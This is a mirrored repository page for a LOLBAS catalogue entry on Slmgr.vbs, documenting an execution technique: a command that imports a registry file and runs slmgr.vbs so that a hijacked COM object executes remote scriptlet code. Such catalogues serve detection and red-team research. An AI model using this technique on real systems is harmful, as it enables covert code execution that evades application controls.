LOLBAS/Slmgr.vbs.md at 32757cd0c3f99518730607350e4d2136e18bad83

public-mirrors/LOLBAS

Fork 0

mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-03-15 03:48:33 +01:00

Oddvar Moe 550263cd1e Removed MD files, we only use the webportal from now on. All MD files moved to archive

2018-10-25 18:31:11 +02:00

520 B

Raw Blame History

Slmgr.vbs

Functions: Execute


reg.exe import c:\path\to\Slmgr.reg & cscript.exe /b c:\windows\system32\slmgr.vbs
Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.

Resources:
- https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
- https://www.youtube.com/watch?v=3gz1QmiMhss
Full path:
- c:\windows\system32\slmgr.vbs
- c:\windows\sysWOW64\slmgr.vbs
Notes: Thanks to Matt Nelson - @enigma0x3, Casey Smith - @subTee

520 B Raw Blame History

Slmgr.vbs

520 B

Raw Blame History